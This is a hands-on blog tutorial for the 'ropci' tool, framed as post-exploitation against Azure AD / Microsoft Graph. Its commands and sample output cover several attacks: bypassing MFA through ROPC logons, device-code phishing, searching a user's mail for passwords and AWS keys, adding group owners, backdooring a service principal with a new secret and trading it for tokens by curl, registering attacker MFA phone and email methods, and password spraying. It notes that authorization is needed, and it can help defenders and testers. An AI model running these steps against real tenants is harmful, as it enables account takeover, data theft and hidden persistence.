Ropci deep-dive for Azure hackers

Misconfigurations with MFA setups are not uncommon when using AAD, especially when federated setups or Pass Through Authentication is configured I have seen MFA bypass opportunities in multiple production tenants.

A common misconfiguration is that MFA is enforced at the federated identity provider, but AAD is forgotten and ROPC authentication still succeeds against AAD.

To learn more about ROPC, check out the previous post about the topic.

This post focuses on the ropci features that can be leveraged post-exploitation.

Getting ropci and abusing Microsoft Graph API

Download a pre-built release for your platform of choice here.

Or compile it yourself as per the instructions on Github.

Getting an Access Token

First, run ropci configure to setup the environment. It requires tenant name, username and password.

Afterwards ./ropci auth logon will get you an accesss token if ROPC auth is possible:

$ ./ropci auth logon 
Succeeded. Token written to .token.
  • If this call succeeds, then then MFA is not enforced correctly. See more details about the attack avenue in the previous post about ROPC, So you think you have MFA

  • If authentication fails you will receive an error message, stating the AAD error that occured.

Its possible to provide a custom client_id by providing the --clientid argument - more about testing of specific apps later.

Refreshing a Token

You can later also refresh a token by running ./ropci auth refresh. This also allows you to import a refresh token from elsewhere via ./ropci auth refresh --refresh token {token}.

Device Code Support

To get an access_token via the devicecode flow you can leverage ./ropci auth deviceflow.

This is useful if you want to play around with the other post-authentication features of ropci, or if you attempt to do some phishing via Device Code based phishing attacks.

Gathering tenant data using ropci

By default ropci uses the Outlook app, which allows to perform a set of powerful operations:

  • List all Users and Groups (./ropci users and ./ropci groups)
  • Reading email for the compromised account (./ropci mail)
  • Reading and uploading files to SharePoint/OneDrive (./ropci drive)
  • Using the search API to find secrets and other information ( ./ropci search)

For instance, the Microsoft Whiteboard Client allows sending of emails via ./ropci mail send.

To switch to a different clientid the following command can be used:

./ropc auth logon --clientid 57336123-6e14-4acc-8dcf-287b6088aa28`.

Basic info about a user

Show some interesting info about a user (by default logged on user is used):

./ropci users who [-u joe@example.org]

This will list details about the user and group ownerships and group memberships.

Enumerating and evaluating apps

In case you got an access token it is a good idea to enumerate all the OAuth apps that are registered for a tenant.

To do this for all OAuth2 apps (so called servicePrincipals in AAD) use ./ropci apps list:

$ ./ropci apps list
+----------------------------------------------------------------+--------------------------------------+--------------------+
|                          displayName                           |                appId                 |   publisherName    |
+----------------------------------------------------------------+--------------------------------------+--------------------+
| Microsoft Teams Mailhook                                       | 51133ff5-8e0d-4078-bcca-84fb7f905b64 | Microsoft Services |
| OCaaS Client Interaction Service                               | c2ada927-a9e2-4564-aae2-70775a2fa0af | Microsoft Services |
| Microsoft Office Licensing Service vNext                       | db55028d-e5ba-420f-816a-d18c861aefdf | Microsoft Services |
| Messaging Bot API Application                                  | 5a807f24-c9de-44ee-a3a7-329e88a00ffc | Microsoft Services |
| Service Encryption                                             | dbc36ae1-c097-4df9-8d94-343c3d091a76 | Microsoft Services |
| Microsoft Mobile Application Management Backend                | 354b5b6d-abd6-4736-9f51-1be80049b91f | Microsoft Services |
| Microsoft Graph                                                | 00000003-0000-0000-c000-000000000000 | Microsoft Services |
| Permission Service O365                                        | 6d32b7f8-782e-43e0-ac47-aaad9f4eb839 | Microsoft Services |
| SubscriptionRP                                                 | e3335adb-5ca0-40dc-b8d3-bedc094e523b | Microsoft Services |
.....

There are likely more then 100 apps in your tenant. ropci will only show you 100 entries by default. Use the --all argument when calling the command to list everything, you can also output all the details as json.

./ropci apps list --all --format json -o apps.json

Perform a bulk authentication validation

To test all your applications:

  1. Dump all the apps and write them to a csv file (using ./ropci apps list)
  2. Perform an ROPC based logon for each of them to see which one allow ROPC (using ./ropci auth bulk)

These are the commands:

./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o output.json

Here is an example:

$ ./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
$ ./ropci auth bulk -i apps.csv -o results.json
ClientIDs from CSV file apps.csv.
Results will be written to results.json.

Issuing Requests...~420
Waiting for results...
+------------------------------------------+--------------------------------------+---------+-----------------------------------+
|               displayName                |                appId                 | result  |               scope               |
+------------------------------------------+--------------------------------------+---------+-----------------------------------+
| Microsoft Teams ATP Service              | 0fa37baf-7afc-4baf-ab2d-d5bb891d53ef | error   |                                   |
| Microsoft Dynamics CRM                   | 2db8cb1d-fb6c-450b-ab09-49b6ae35186b | error   |                                   |
| Microsoft Outlook                        | 5d661950-3475-41cd-a2c3-d671a3162bc1 | success | email openid profile              |
|                                          |                                      |         | AuditLog.Create Chat.Read         |
|                                          |                                      |         | DataLossPreventionPolicy.Evaluate |
|                                          |                                      |         | Directory.Read.All                |
|                                          |                                      |         | EduRoster.ReadBasic               |
|                                          |                                      |         | Files.ReadWrite.All               |
|                                          |                                      |         | Group.ReadWrite.All               |
|                                          |                                      |         | InformationProtectionPolicy.Read  |
|                                          |                                      |         | OnlineMeetings.Read People.Read   |
|                                          |                                      |         | SensitiveInfoType.Detect          |
|                                          |                                      |         | SensitiveInfoType.Read.All        |
|                                          |                                      |         | SensitivityLabel.Evaluate         |
|                                          |                                      |         | User.Invite.All User.Read         |
|                                          |                                      |         | User.ReadBasic.All                |
| Service                                  |                                      |         |                                   |
| PushChannel                              | 4747d38e-36c5-4bc3-979b-b0ef74df54d1 | error   |                                   |
| Microsoft.MileIQ                         | a25dbca8-4e60-48e5-80a2-0664fdb5c9b6 | success | profile openid email              |
|                                          |                                      |         | user_impersonation                |
| Storage Resource Provider                | a6aa9161-5291-40bb-8c5c-923b567bee3b | error   |                                   |
...
+------------------------------------------+--------------------------------------+---------+-----------------------------------+

Done. 
You could now run the following command to analyze valid tokens and there scopes:
$ cat results.json | jq -r 'select (.access_token!="") | [.display_name,.scope] | @csv'
Happy Hacking.

This gives you an idea which applications support ROPC and what permissions they have that an adversary could abuse. The result file will already contain the retrieved access_tokens from each app.

It’s also a good list for the IT admins and blue team to monitor and lock down.

Search the user’s mail messages

By default the following searches for the word password:

./ropci search

But you can specify a custom query with -q. Here is an example:

 ./ropci search -q 'AWS_ACCESS' -f rank -f summary
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
| rank |                                                        summary                                                                                            |
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
|    1 | ...is not known. <c0>AWS_ACCESS</c0>_KEY_ID=AKIAsomethingsomething AWS_SECRET_ACCESS_KEY=this_is_a_secret This grants you access to the EC2 instance and 
you can create s3 data. Greetings,Security.                                                                                                                        |
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+

Number of items: 1

Pretty neat.

You can also search for other items, like Sharepoint listItems, etc.. by specifying -t and the type.

List all groups

./ropci groups list --format json -o groups.json
cat groups.json | jq -r '.value[].id'

List members/owners of a groups

To list the members of a group, first get the groupid via the previous group list command, then run:

./ropci groups members-list -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0
+--------------------------------------+------------------+-------------------------+-----------+-----------+------------+----------+----------------+
|                  id                  |   displayName    |    userPrincipalName    | givenName |  surname  | department | jobTitle | accountEnabled |
+--------------------------------------+------------------+-------------------------+-----------+-----------+------------+----------+----------------+
| 838ccee5-c96d-4555-854b-913d5da07fbd | John             | john@example.org        | John      | Tester |            |          | true           |
| 07537a19-e926-4591-a949-361f7ab97f93 | Bobby            | bob@example.org         | Bob       | Williams  | Security   | Analyst  | true           |
+--------------------------------------+------------------+-------------------------+-----------+-----------+------------+----------+----------------+

Number of items: 2

Similar command exists for owernship checks via ./ropci groups owners-list.

Add an owner to a group

List or add an owner of a group:

./ropci groups owner-list -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0
./ropci groups owner-add -u 0df463da-1a1c-4dba-817d-ca72438524ce -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0

Removing works also.

Search for users/groups:

./ropci users list -s userPrincipalName:bob

Upload a file to SharePoint

Uploading a file to SharePoint drive:

./ropci drive upload -p "/Tom @ ExampleOrg, LLC/testing.txt" -d ./ropci -v

Read mail in text form

The following command will show some basic info about the accounts inbox:

./ropci mail list

Read mail body.content in text form:

 ./ropci mail list --format json | jq .value[].body.content

Invalidate Refresh Tokens

This is quite important in order to protect yourself:

./ropci auth invalidate

Which basically calls /me/invalidateAllRefreshTokens:

./ropci call -c /me/invalidateAllRefreshTokens --verb POST

If you try to refresh now with ./ropci auth refresh the following error will be shown:

AADSTS50173: The provided grant has expired due to it being revoked, a fresh auth token is needed. The user might have changed or reset their password. The grant was issued on '2022-09-05T18:48:10.7367392Z' and the TokensValidFrom date (before which tokens are not valid) for this user is '2022-09-05T18:48:54.0000000Z'

Refresh tokens have been invalidated for the logged on user. If the account has the right permissions one can also call /users/username@expample.org/invalidateAllRefreshTokens to invalidate refresh tokens of another account.

Application Role Assignments of a user

Graph API Documentatin

./ropci call -c /users/user@example.org/appRoleAssignments -f id -f principalDisplayName -f resourceDisplayName -f resourceId
+---------------------------------------------+----------------------+-------------------------+--------------------------------------+
|                     id                      | principalDisplayName |   resourceDisplayName   |              resourceId              |
+---------------------------------------------+----------------------+-------------------------+--------------------------------------+
| 5c6Mg23JVUWFS5E9XaB_vQObgianBrBMugogPRfMvYU | Vera Mitchell        | Apple Internet Accounts | 36559af8-a122-4101-b6c7-adccfa24506d |
| 5c6Mg23JVUWFS5E9XaB_vUG-XjOYoexCm4D9r2fYwxI | Vera Mitchell        | Graph Explorer          | f3ff1808-52d0-4516-b090-28a06cd24783 |
| 5c6Mg23JVUWFS5E9XaB_vaBGH-RIpJRMuE0qYZ7s5ZE | Vera Mitchell        | AppForHealthServices    | 48359af7-af3a-42d4-abe2-8425a14689c9 |
+---------------------------------------------+----------------------+-------------------------+--------------------------------------+

Backdooring a Service Principal (adding additional password)

$ ./ropci call -c /servicePrincipals/48359af7-af3a-42d4-abe2-8425a14689c9/addPassword \ 
--verb POST  -b '{"passwordCredential": { "displayName": "ropci says this is fine"}} | jq

{
  "@odata.context": "https://graph.microsoft.com/beta/$metadata#servicePrincipals('48359af7-af3a-42d4-abe2-8425a14689c9')/addPassword",
  "@odata.type": "#microsoft.graph.servicePrincipal",
  "customKeyIdentifier": null,
  "endDateTime": "2024-09-05T19:48:11.1638864Z",
  "keyId": "c47e91ff-986c-4f8f-9cc0-d41bdd038d49",
  "startDateTime": "2022-09-05T19:48:11.1638864Z",
  "secretText": "Yhj8Q~H1np.....4iEGuf0djD",
  "hint": "Yhj",
  "displayName": "ropci says this is fine"
}

Take note of the response, and the secretText. This is what can be used to impersonate the service principal.

With that secretText, which is the client_secret you can get an access token via the OAuth2 client_credential flow:

curl -d 'grant_type=client_credentials&client_id=2581d8b8-2e9c-4374-a418-06f9cfed87ff&client_secret=Yhj8Q~H1np.....4iEGuf0djD&scope=https://graph.microsoft.com/.default' https://login.microsoftonline.com/wuzzi.onmicrosoft.com/oauth2/v2.0/token

Fun times!

More useful recon commands

Chats

./ropci call -c /me/chats

Searching for other items (e.g person)

./ropci search -t person -q "ropci" --format json  | jq

Generic call method

The call command allows to invoke the many other APIs that are exposed. Here are a couple of interesting examples:

./ropci call -c /domains --format json -o domains.json
./ropci call -c /domains/{tenant}}/verificationDnsRecords --format json -o verificationDnsRecords-domain1.json
./ropci call -c /organization --format json -o organization.json
./ropci call -c /identity/conditionalAccess/policies --format json -o conditionalAccess-Policies.json
./ropci call -c '/identity/b2cUserFlows/B2C_test_signin_signup/userflowIdentityProviders'

Explore authentication methods

./ropci auth logon --clientid 27922004-5251-4030-b22d-91ecd9a37ea4 # Use Outlook Mobile clientID
./ropci call -c '/me/authentication/methods' -f id -f  emailAddress --format json | jq

./ropci call -c '/me/authentication/phoneMethods' -f id -f phoneNumber -f phoneType
./ropci call -c '/me/authentication/emailMethods' -f id -f emailAddress

./ropci call -c '/me/authentication/phoneMethods' --verb POST -b '{"phoneNumber": "+1 5558008000","phoneType": "mobile"}'
./ropci call -c '/me/authentication/emailMethods' --verb POST -b '{"emailAddress": "joe@example.org"}'

List deleted users or other deleted items

When an object (e.g. user account) is deleted, it’s not entirely deleted right away. It’s possible to restore them within 30 days. The following command lists the delete users:

./ropci call -c /directory/deletedItems/microsoft.graph.user
+--------------------------------------+-------------+------+
|                  id                  | displayName | name |
+--------------------------------------+-------------+------+
| e94d329b-ec6a-41fa-923c-fcd0eab5b12e | John Ropci  |      |
| ea9f55dc-f38b-4344-8731-a97454778094 | Ropci       |      |
+--------------------------------------+-------------+------+

Password Spraying

ropci also comes with the ability to perform an ROPC based password spray.

./ropci auth spray --users-file users.list --passwords-file passwords.list -o result --wait 60 --wait-try 10 
Attempts: 12 for ClientID d3590ed6-52b3-4102-aeff-aad2292ab01c

Attempt 0001: alice@wunderwuzzi.net                     test1242355                     invalid username or password
Attempt 0002: tom@wunderwuzzi.net                       test123                         invalid username or password
Attempt 0003: doesnotexist@wunderwuzzi.net              test1242355                     account does not exist
Attempt 0004: tom@wunderwuzzi.net                       test1242355                     invalid username or password
Attempt 0005: tom@wunderwuzzi.net                       Sommer2022!                     invalid username or password
Attempt 0006: doesnotexist@wunderwuzzi.net              Sommer2022!                     account does not exist
Attempt 0007: alice@wunderwuzzi.net                     test                            invalid username or password
Attempt 0008: alice@wunderwuzzi.net                     test123                         invalid username or password
Attempt 0009: doesnotexist@wunderwuzzi.net              test123                         account does not exist
Attempt 0010: alice@wunderwuzzi.net                     Sommer2022!                     success
Attempt 0011: doesnotexist@wunderwuzzi.net              test                            account does not exist
Attempt 0012: tom@wunderwuzzi.net                       test                            invalid username or password

Be aware of any account lockout policies, and make sure you have proper authorization before engaging in such testing.

There is a lot more to explore. Hope this was helpful.

Cheers!

Disclaimer

Pentesting and security assessments require authorization from proper stakeholders. Do not do anything illegal.

References and further reading material